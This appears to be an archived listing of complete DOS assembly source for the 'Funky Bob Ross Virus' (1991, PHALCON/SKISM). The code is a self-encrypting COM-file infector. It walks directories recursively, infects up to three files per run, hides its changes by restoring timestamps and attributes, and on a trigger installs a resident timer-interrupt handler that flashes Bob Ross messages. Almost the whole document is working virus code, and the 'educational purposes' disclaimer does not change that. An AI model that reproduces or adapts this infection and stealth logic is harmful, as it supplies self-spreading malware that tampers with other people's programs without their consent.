home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / BOBVIRUS.ASM < prev    next >
Assembly Source File  |  1991-09-26  |  21KB  |  566 lines

  1. ; The Funky Bob Ross Virus Version 1.0
  2. ; Written by Dark Angel / 26 September 1991 / (c) 1991
  3. ; PHALCON/SKISM Co-op
  4. ; Effective length: 1125, Resident length: 672 bytes
  5. ;
  6. ; DEDICATION:
  7. ;   This virus was written expressedly to
  8. ;      1) Piss off Patty Hoffman, John McAffee, Ross Greenberg, and all the
  9. ;         other guru-wanna-bes in this world.
  10. ;      2) Spread the message of The Almighty Bob, and so enrichen the lives
  11. ;         of people all over the world.
  12. ;      3) Show off (Now I can tell people that I wrote a virus!)
  13. ;
  14. ; WHAT THIS IS:
  15. ;   This is a self-encrypting, non-overwriting COM infector.  It doesn't do
  16. ;   anything to EXE files.  File sizes increase by 1117 bytes.  It goes off
  17. ;   on July 9th of any year or after 7 infection "waves."
  18. ;
  19. ; WHAT IT DOES WHEN IT GOES OFF:
  20. ;   The virus goes memory resident and prints out a Bobism every 5 minutes.
  21. ;   It then enters a delay loop for approximately 5 seconds, allowing for a
  22. ;   brief moment of silence while the victim reads Bob's holy message.  The
  23. ;   virus will not destroy anything.  The virus will not go TSR if it finds
  24. ;   another copy of itself in memory.
  25. ;
  26. ; CAUTION: THIS IS DESTRUCTIVE CODE.  YOU SHOULD NOT EVEN BE LOOKING AT IT.
  27. ;          I HAVE NEVER AND WILL NEVER RELEASE THIS CODE.  IF YOU SHOULD BE
  28. ;          LOOKING AT IT, IT IS BECAUSE IT WAS STOLEN FROM ME.  YOU HAVE NO
  29. ;          RIGHT TO LOOK AT THIS CODE.  IF THIS SOURCE SHOULD FALL INTO THE
  30. ;          WRONG HANDS, IT COULD BE VERY BAD!  DESTROY THIS IMMEDIATELY.  I
  31. ;          HOLD NO RESPONSIBILITY FOR WHAT STUPID PEOPLE DO WITH THIS CODE.
  32. ;          THIS WAS WRITTEN FOR EDUCATIONAL PURPOSES ONLY!!!
  33.  
  34. CODE    SEGMENT PUBLIC  'CODE'
  35.         ORG     100h
  36.         ASSUME  CS:CODE,DS:CODE,SS:CODE,ES:CODE
  37.  
  38. DTA_fileattr    EQU     21
  39. DTA_filetime    EQU     22
  40. DTA_filedate    EQU     24
  41. DTA_filesize    EQU     26
  42. DTA_filename    EQU     30
  43.  
  44. virus_marker    equ     026FFh   ; JMP WORD PTR
  45. virus_marker2   equ     00104h   ; 0104h
  46. part1_size      equ     part1_end - part1_start
  47. part2_size      equ     part2_end - part2_start
  48. offset_off      equ     duh2
  49. init_delay      equ     5280    ; Initial delay
  50. delay           equ     400     ; Subsequent delay
  51. num_Messages    equ     7       ; Number of Bob messages
  52. waves           equ     7       ; Number of waves to go off after
  53. infec_date      equ     0709h   ; Date of psychosis
  54.  
  55. Counter         equ     108h
  56. D_Mess          equ     110h
  57. Int_08_Start    equ     112h
  58.  
  59. part1_start:
  60.         jmp     word ptr duh
  61. duh     dw      middle_part_end - part1_start + 100h
  62. duh2    dw      0
  63. part1_end:
  64.  
  65. middle_part_start:
  66. middle_part_end:
  67.  
  68. ;=============================================================================
  69. ;Part 2 begins: Dis is the D-Cool part
  70. ;=============================================================================
  71. part2_start:
  72.         cld
  73.         call    decrypt
  74.         mov     si, offset Go
  75.         add     si, offset_off
  76.         jmp     si
  77.  
  78. encrypt_val     db      00h
  79.  
  80. decrypt:
  81. encrypt:
  82.         mov     si, offset encrypt_val
  83.         add     si, offset_off
  84.         mov     ah, byte ptr [si]
  85.  
  86.         mov     cx, offset part2_end - offset bam_bam
  87.         add     si, offset bam_bam - offset encrypt_val
  88.         mov     di, si
  89.  
  90. xor_loop:
  91.         lodsb                           ; DS:[SI] -> AL
  92.         xor     al, ah
  93.         stosb
  94.         loop    xor_loop
  95.         ret
  96.  
  97. copy_rest_stuff:
  98. ; Mah copying routine
  99.         push    si              ; SI -> buffer3
  100.         call    encrypt
  101.         mov     cx, part2_size
  102.         pop     dx
  103.         add     dx, offset part2_start - offset buffer3
  104.         mov     ah, 40h
  105.         int     21h
  106.         call    decrypt
  107. bam_bam:
  108.         ret
  109.  
  110. buffer    db 0CDh, 20h, 0, 0, 0, 0, 0, 0
  111. buffer2   db part1_end - part1_start dup (?)
  112. buffer3   dw ?
  113. orig_path db 64 dup (?)
  114. num_infec db 0                  ; Infection wave number
  115. infec_now db 0                  ; Number files infected this time
  116. root_dir  db '\',0
  117. com_mask  db '*.com',0
  118. dir_mask  db '*.*',0
  119. back_dir  db '..',0
  120. nest      dw 0
  121.  
  122. DTA     db 43 DUP (0)           ; For use by infect_dir
  123.  
  124. Go:
  125.         add     si, offset buffer - offset Go
  126.         mov     di, si
  127.         add     di, offset buffer2 - offset buffer
  128.         mov     cx, part1_size
  129.         rep     movsb
  130.  
  131.         mov     ah, 47h                 ; Get directory
  132.         xor     dl,dl                   ; Default drive
  133.         add     si, offset orig_path - offset buffer - 8 ; DS:[SI] -> buffer
  134.         int     21h                     ;  in orig_path
  135.         jc      Go_Error
  136.  
  137.         mov     ah, 3Bh                 ; Change directory
  138.         mov     dx, si                  ;  to the root dir
  139.         add     dx, offset root_dir - offset orig_path
  140.         int     21h
  141.         jc      Go_Error
  142.  
  143.         add     si, offset num_infec - offset orig_path
  144.         inc     byte ptr [si]           ; New infection wave
  145.  
  146.         push    si                      ; Save offset num_infec
  147.  
  148.         add     si, offset infec_now - offset num_infec
  149.         mov     byte ptr [si], 3        ; Reset infection
  150.                                         ;  counter to 3
  151.                                         ;  for D-new run.
  152.  
  153.         call    traverse_fcn            ; Do all the work
  154.  
  155.         pop     si                      ; Restore offset num_infec
  156.         cmp     byte ptr [si], waves    ; 10 infection waves?
  157.         jge     Go_Psycho               ; If so, activate
  158.  
  159.         mov     ah, 2Ah                 ; Get date
  160.         int     21h
  161.         cmp     dx, infec_date          ; Is it 07/09?
  162.         jz      Go_Psycho               ; If so, activate
  163. Go_Error:
  164.         jmp     quit                    ; And then quit
  165.  
  166. Go_Psycho:
  167.         jmp     Psycho
  168.  
  169. origattr  db 0
  170. origtime  dw 0
  171. origdate  dw 0
  172. filesize  dw 0                  ; Size of the uninfected file
  173.  
  174. oldhandle dw 0
  175.  
  176. ;=============================================================================
  177. ;D-Traversal function begins
  178. ;=============================================================================
  179. traverse_fcn proc    near
  180.         push    bp                      ; Create stack frame
  181.     mov    bp,sp
  182.         sub     sp,44                   ; Allocate space for DTA
  183.         push    si
  184.  
  185.         jmp     infect_directory
  186. In_fcn:
  187.         mov     ah,1Ah                  ;Set DTA
  188.         lea     dx,word ptr [bp-44]     ; to space allotted
  189.         int     21h                     ;Do it now, do it hard!
  190.  
  191.         mov     ah, 4Eh                 ;Find first
  192.         mov     cx,16                   ;Directory mask
  193.         mov     dx,offset dir_mask      ; *.*
  194.         add     dx,offset_off
  195.         int     21h
  196.         jmp     short isdirok
  197. gonow:
  198.         cmp     byte ptr [bp-14], '.'   ;Is first char == '.'?
  199.         je      short donext            ; If so, loop again
  200.         lea     dx,word ptr [bp-14]     ;else load dirname
  201.         mov     ah,3Bh                  ; and changedir there
  202.         int     21h                     ;Yup, yup
  203.         jc      short donext            ; Do next if invalid
  204.         mov     si, offset nest         ; Else increment nest
  205.         add     si, offset_off
  206.         inc     word ptr [si]           ; nest++
  207.         call    near ptr traverse_fcn   ; recurse directory
  208. donext:
  209.         lea     dx,word ptr [bp-44]     ;Load space allocated for DTA address
  210.         mov     ah,1Ah                  ; and set DTA to it
  211.         int     21h                     ; 'cause it might have changed
  212.  
  213.         mov     ah,4Fh                  ;Find next
  214.         int     21h
  215. isdirok:
  216.         jnc     gonow                   ;If OK, jmp elsewhere
  217.         mov     si, offset nest
  218.         add     si, offset_off
  219.         cmp     word ptr [si], 0        ;If root directory (nest == 0)
  220.         jle     short cleanup           ; Quit
  221.         dec     word ptr [si]           ;Else decrement nest
  222.         mov     dx,offset back_dir      ;'..'
  223.         add     dx, offset_off
  224.         mov     ah,3Bh                  ;Change directory
  225.         int     21h                     ; to previous one
  226. cleanup:
  227.         pop     si
  228.     mov    sp,bp
  229.     pop    bp
  230.     ret    
  231. traverse_fcn endp
  232. ;=============================================================================
  233. ;D-Traversal function ends
  234. ;=============================================================================
  235.  
  236. Goto_Error:
  237.         jmp     Error
  238.  
  239. enuff_for_now:
  240.                                         ;Set nest to nil
  241.         mov     si, offset nest         ; in order to
  242.         add     si, offset_off          ; halt the D-Cool
  243.         mov     word ptr [si], 0        ; traversal fcn
  244.         jmp     short cleanup
  245. return_to_fcn:
  246.         jmp     short In_fcn            ;Return to traversal function
  247.  
  248. infect_directory:
  249.         mov     ah, 1Ah                 ;Set DTA
  250.         mov     dx, offset DTA          ; to DTA struct
  251.         add     dx, offset_off
  252.         int     21h
  253.  
  254. find_first_COM:
  255.         mov     ah, 04Eh                ; Find first file
  256.         mov     cx, 0007h               ; Any file
  257.         mov     dx, offset com_mask     ; DS:[DX] --> filemask
  258.         add     dx, offset_off
  259.         int     21h                     ; Fill DTA (hopefully)
  260.         jc      return_to_fcn           ; <Sigh> Error #E421:0.1
  261.         jmp     check_if_COM_infected   ; I<___-Cool! Found one!
  262.  
  263. find_next_file2:
  264.         mov     si, offset infec_now    ; Another loop,
  265.         add     si, offset_off          ;  Another infection
  266.         dec     byte ptr [si]           ;  Infected three?
  267.         jz      enuff_for_now           ;   If so, exit
  268. find_next_file:
  269.         mov     ah,4Fh                  ; Find next
  270.         int     21h
  271.         jc      return_to_fcn
  272.  
  273. check_if_COM_infected:
  274.         mov     si, offset DTA + dta_filename + 6 ; look at 7th letter
  275.         add     si, offset_off
  276.         cmp     byte ptr [si], 'D'              ; ??????D.COM?
  277.         jz      find_next_file                  ; don't kill COMMAND.COM
  278.  
  279.         mov     ax,3D00h                        ; Open channel read ONLY
  280.         mov     dx, si                          ; Offset Pathname in DX
  281.         sub     dx, 6
  282.         int     21h                             ; Open NOW!
  283.         jc      find_next_file                  ; If error, find another
  284.  
  285.         xchg    bx,ax                           ; bx is now handle
  286.         mov     ah,3Fh                          ; Save
  287.         mov     cx, part1_size                  ;  first part
  288.         mov     dx, offset buffer               ;  to buffer
  289.         add     dx, offset_off                  ;  to be restored
  290.         push    dx
  291.         int     21h                             ;  later
  292.  
  293.         pop     si                              ; Check for virus ID bytes
  294.                                                 ;  in the buffer
  295.         push    si
  296.         lodsw                                   ; DS:[SI] -> AX
  297.         cmp     ax, virus_marker                ; Compare it
  298.         jnz     infect_it                       ; infect it if ID #1 not found
  299.  
  300.         lodsw                                   ; Check next two bytes
  301.         cmp     ax, virus_marker2               ; Compare it
  302.         jnz     infect_it                       ; infect if ID #2 not found
  303.         pop     si
  304. bomb_out:
  305.         mov     ah, 3Eh                         ; else close the file
  306.         int     21h                             ;  and go find another
  307.         jmp     find_next_file                  ;  'cuz it's already infected
  308.  
  309. Signature db 'PHALCON'
  310.  
  311. ;=============================================================================
  312. ;D-Good Stuff - Infection routine
  313. ;=============================================================================
  314. infect_it:
  315.         ; save fileattr
  316.         pop     si
  317.         add     si, offset DTA + DTA_fileattr - offset buffer
  318.         mov     di, si
  319.         add     di, offset origattr - offset DTA - DTA_fileattr
  320.         movsb                                   ; DS:[SI] -> ES:[DI]
  321.         movsw                                   ; Save origtime
  322.         movsw                                   ; Save origdate
  323.         movsw                                   ; Save filesize
  324.                                                 ; Only need LSW
  325.                                                 ; because COM files
  326.                                                 ; can only be up to
  327.                                                 ; 65535 bytes long
  328.         cmp     word ptr [si - 2], part1_size
  329.         jl      bomb_out                        ;  is less than 8 bytes.
  330.  
  331. do_again:
  332.         mov     ah, 2Ch                         ; get time
  333.         int     21h
  334.         add     dl, dh                          ; 1/100 sec + 1 sec
  335.         jz      do_again                        ; Don't want orig strain!
  336.  
  337.         mov     si, offset encrypt_val
  338.         add     si, offset_off
  339.         mov     byte ptr [si], dl               ; 255 mutations
  340.  
  341.         mov     ax, 4301h                       ; Set file attributes
  342.         xor     cx, cx                          ;  to nothing
  343.         mov     dx, si                          ; filename in DTA
  344.         add     dx, offset DTA + DTA_filename - offset encrypt_val
  345.         int     21h                             ; do it now, my child
  346.  
  347.         mov     ah, 3Eh                         ; Close file
  348.         int     21h                             ; handle in BX
  349.  
  350.         mov     ax, 3D02h                       ; Open file read/write
  351.         int     21h                             ; Filename offset in DX
  352.         jc      bomb_out                        ; Damn! Probs
  353.  
  354.         mov     di, dx
  355.         add     di, offset oldhandle - offset DTA - DTA_filename
  356.                                                 ; copy filehandle to
  357.                                                 ;  oldhandle
  358.         stosw                                   ; AX -> ES:[DI]
  359.         xchg    ax, bx                          ; file handle in BX now
  360.  
  361.         mov     ah, 40h                         ; Write DS:[DX]->file
  362.         mov     cx, part1_size - 4              ; number of bytes
  363.         mov     dx, 0100h                       ; where code starts
  364.         int     21h                             ; (in memory)
  365.  
  366.         mov     ah, 40h
  367.         mov     si, di                          ; mov si, offset filesize
  368.         add     si, offset filesize - 2 - offset oldhandle
  369.         add     word ptr [si], 0100h
  370.         mov     cx, 2
  371.         mov     dx, si
  372.         int     21h                             ; write jmp offset
  373.  
  374.         mov     ax, [si]                        ; AX = filesize
  375.         sub     ax, 0108h
  376.  
  377.         add     si, offset buffer3 - offset filesize
  378.         push    si
  379.         mov     word ptr [si], ax
  380.         mov     ah, 40h
  381.         mov     cx, 2
  382.         mov     dx, si
  383.         int     21h
  384.  
  385.         mov     ax, 4202h                       ; move file ptr
  386.         xor     cx, cx                          ;  from EOF
  387.         xor     dx, dx                          ;  offset cx:dx
  388.         int     21h
  389.  
  390.         call    copy_rest_stuff
  391.  
  392.         pop     si
  393.         add     si, offset oldhandle - offset buffer3
  394.         mov     bx, word ptr [si]
  395.         mov     ax, 5701h                       ; Restore
  396.         add     si, offset origtime - offset oldhandle
  397.         mov     cx, word ptr [si]               ;  old time and
  398.         add     si, 2
  399.         mov     dx, word ptr [si]               ;  date
  400.         int     21h
  401.  
  402.         mov     ah, 3Eh                         ; Close file
  403.         int     21h
  404.  
  405.         mov     ax, 4301h                       ; Restore file
  406.         xor     ch, ch
  407.         add     si, offset origattr - offset origtime - 2
  408.         mov     cl, byte ptr [si]               ;  attributes
  409.         mov     dx, si                          ; filename in DTA
  410.         add     dx, offset DTA + DTA_filename - offset origattr
  411.         int     21h                             ; do it now
  412.  
  413.         jmp     find_next_file2
  414.  
  415. GotoError:
  416.         jmp     error
  417.  
  418. Psycho:
  419. ; Check if already installed
  420.         push    es
  421.         mov     byte ptr cs:[100h],0            ; Initialize fingerprint
  422.         xor     bx, bx                          ; Zero BX for start
  423.         mov     ax, cs
  424. Init1:  inc     bx                              ; Increment search segment
  425.         mov     es, bx                          ;  value
  426.         cmp     ax, bx                          ; Not installed if we reach
  427.         je      Not_Installed_Yet               ;  the current segment
  428.         mov     si, 100h                        ; Search segment for
  429.         mov     di, si                          ;  fingerprint in first
  430.         mov     cx, 4                           ;  four bytes
  431.         repe    cmpsb                           ; Compare
  432.         jne     init1                           ;  If not equal, try another
  433.         jmp     Quit_Init                       ;  else already installed
  434.  
  435. Not_Installed_Yet:
  436.         pop     es
  437.         mov     word ptr cs:[Counter], init_delay
  438.         mov     word ptr cs:[D_Mess],    1
  439.  
  440. ; Copy interrupt handler to beginning of code
  441.         mov     si, offset _int_08_handler
  442.         add     si, offset_off
  443.         mov     di, Int_08_Start
  444.         mov     cx, int_end - int_start
  445.         rep     movsb                   ; DS:[SI]->ES:[DI]
  446.  
  447.         mov     ax, 3508h               ; Get int 8 handler
  448.         int     21h                     ;  put in ES:BX
  449.  
  450.         mov     cs:[duh], bx            ; Save old handler
  451.         mov     cs:[duh+2], es          ;  in cs:[104h]
  452.  
  453.         mov     ax, 2508h               ; Install new handler
  454.         mov     dx, Int_08_Start        ;  from DS:DX
  455.         int     21h                     ; Do it
  456.  
  457.         push    es
  458.         mov     ax, ds:[2Ch]            ; Deallocate program
  459.         mov     es, ax                  ;  environment block
  460.         mov     ah, 49h
  461.         int     21h
  462.         pop     es
  463.  
  464.         mov     ax, 3100h               ; TSR
  465.         mov     dx, (offset int_end - offset int_start + offset part1_end - offset Code + 4 + 15 + 128) SHR 4
  466.         int     21h
  467.         int     20h                     ; In case of error
  468. Quit_Init:
  469.         pop     es
  470. Error:                                  ; On error, quit
  471. Quit:
  472.         mov     ah, 3Bh                 ; Change directory
  473.         mov     dx, offset root_dir     ;  to the root dir
  474.         add     dx, offset_off
  475.         int     21h
  476.  
  477.         mov     ah,3Bh                  ; Change directory
  478.                                         ; Return to orig dir
  479.         add     dx, offset orig_path - offset root_dir
  480.         int     21h
  481.  
  482. ; Copy buffer back to beginning of file
  483.         mov     si, dx
  484.         add     si, offset buffer2 - offset orig_path
  485.         mov     di, 0100h
  486.         mov     cx, part1_end - part1_start
  487.         rep     movsb
  488.  
  489.         mov     di, 0100h
  490.         jmp     di
  491. int_start:
  492. _int_08_handler proc far
  493.         push    ax
  494.         push    bx
  495.         push    cx
  496.         push    dx
  497.         push    si
  498.         push    ds
  499.         push    es
  500.         pushf
  501.         dec     word ptr CS:[Counter]            ; Counter
  502.         jnz     QuitNow
  503. ;ACTIVATION!!!
  504.         mov     word ptr CS:[Counter], delay     ; Reset counter
  505.  
  506.         ; Set up DS & ES to equal CS
  507.         push    cs
  508.         pop     ds
  509.         push    cs
  510.         pop     es
  511.  
  512.         mov     si, offset Messages - offset int_start + int_08_start
  513.         mov     cx, cs:D_Mess
  514.         xor     ah, ah
  515. LoopY_ThingY:
  516.         lodsb                           ; DS:SI -> AL
  517.         add     si, ax                  ; ES:BP -> Next message to display
  518.         loop    LoopY_ThingY
  519.  
  520.         lodsb
  521.         xchg    si, bp
  522.  
  523.         xor     cx, cx
  524.         mov     cl, al                  ; Length of string
  525.         mov     ax, 1300h               ;
  526.         mov     bx, 0070h               ; Page 0, inverse video
  527.         xor     dx, dx                  ; (0,0)
  528.         int     10h                     ; Display ES:BP
  529.         inc     word ptr cs:[D_Mess]
  530.         cmp     word ptr cs:[D_Mess], num_messages
  531.         jnz     Sigh
  532.         mov     word ptr cs:[D_Mess], 1
  533.  
  534. Sigh:   mov     cx, 30h
  535. Sigh2:  push    cx
  536.         mov     cx, 0FFFFh
  537. DelayX: loop    DelayX
  538.         pop     cx
  539.         loop    Sigh2
  540.         xchg    si, bp
  541. QuitNow:
  542.         popf
  543.         pop     es
  544.         pop     ds
  545.         pop     si
  546.         pop     dx
  547.         pop     cx
  548.         pop     bx
  549.         pop     ax
  550.         jmp     dword ptr CS:duh
  551.  
  552. Messages db      0
  553.          db      15, 'Bob Ross lives!'
  554.          db      21, 'Bob Ross is watching!'
  555.          db      22, 'Maybe he lives here...'
  556.          db      26, 'What a happy little cloud!'
  557.          db      38, 'Maybe he has a neighbour right here...'
  558.          db      40, 'You can make up stories as you go along.'
  559. _int_08_handler endp
  560. int_end:
  561. part2_end:
  562.  
  563. CODE    ends
  564.         end     part1_start
  565.  
  566.